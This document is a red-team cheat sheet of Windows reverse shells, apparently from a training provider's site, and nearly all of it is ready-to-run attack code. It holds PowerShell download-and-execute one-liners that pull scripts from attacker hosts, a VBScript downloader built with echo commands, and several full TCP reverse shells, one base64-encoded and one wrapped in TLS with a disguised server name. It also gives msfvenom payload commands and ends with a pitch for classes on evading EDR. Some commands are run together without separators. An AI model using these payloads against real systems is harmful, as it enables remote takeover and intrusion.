Windows Reverse Shell
Windows Reverse Shells
Power of Powershell on Windows
Download Reverse Shells on the target machine:
powershell.exe -c iex(new-object system.net.webclient).downloadstring('http://10.10.10.10/powerrev.ps1'/powershell.exe iex(invoke-webrequest("http://10.10.10.10:8001/powerrev.ps1") -UseBasicParsing))
powershell.exe iex(iwr(http://10.10.10.10:8001/powerrev.ps1) -usebasicparsing)powershell.exe Invoke-WebRequest http://10.10.10.10/powerrev.ps1 -OutFile c:\temp\powerrev.ps1
powershell.exe c:\temp\powerrev.ps1iex (New-Object Net.Webclient).DownloadString('https://webserver/payload.ps1')
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.56.102:8002/shell.ps1');sleep 2;$response=$ie.Document.body.innerHTML;$ie.quit();$wshell = New-Object -ComObject wscript.shell;$wshell.AppActivate($OpenWindow.MainWindowTitle);Start-Sleep -Seconds 3;$wshell.SendKeys("{ENTER}");iex $response; iex $wshell iex (iwr 'http://192.168.230.1/evil.ps1')
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET', 'http://192.168.56.102:8002/shell.ps1',$false);$h.send();iex $h.responseText
$wr= [System.NET.WebRequest]::Create("http://192.168.56.102:8002/shell.ps1")
$r=$wr.GetResponse()
IEX([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbsSome more powershell shells:
$LHOST = "10.10.10.10"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.1.1',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.1.1', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMQAwACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==$sslProtocols = [System.Security.Authentication.SslProtocols]::Tls12; $TCPClient = New-Object Net.Sockets.TCPClient('10.10.1.1', 9001);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$sslProtocols,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = New-Object System.Byte[] 4096 ;$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()Windows Stageless reverse TCP
msfvenom -p windows/shell_reverse_tcp LHOST=10.1.1.1 LPORT=4244 -f exe > reverse.exeWindows Staged reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exeNote on Modern Security Protections and Advanced Tactics
While the reverse shell techniques outlined above are powerful tools in a red teamer’s arsenal, it’s important to note that modern security systems such as Endpoint Detection and Response (EDR) solutions have become adept at detecting and mitigating such activities. These protections are designed to analyze system behaviors and network traffic to block the known signatures and anomalous patterns associated with reverse shells.
However, advanced techniques do exist to bypass these protections, which often involve sophisticated methods such as memory injection, obfuscation, and the use of legitimate administrative tools to mimic normal user activities. These advanced methods are not only about evading detection but also about understanding and manipulating the underlying systems and security mechanisms.
To learn more about these advanced evasion techniques and to gain hands-on experience in deploying reverse shells while circumventing modern security defenses, we encourage participation in our live red team classes (sessions). These sessions are designed to provide deep insights into the latest red teaming tactics and real-world applications, enabling participants to stay ahead in the ever-evolving landscape of cybersecurity threats and defenses. Join us to transform your theoretical knowledge into practical expertise and master the art of invisible intrusion.
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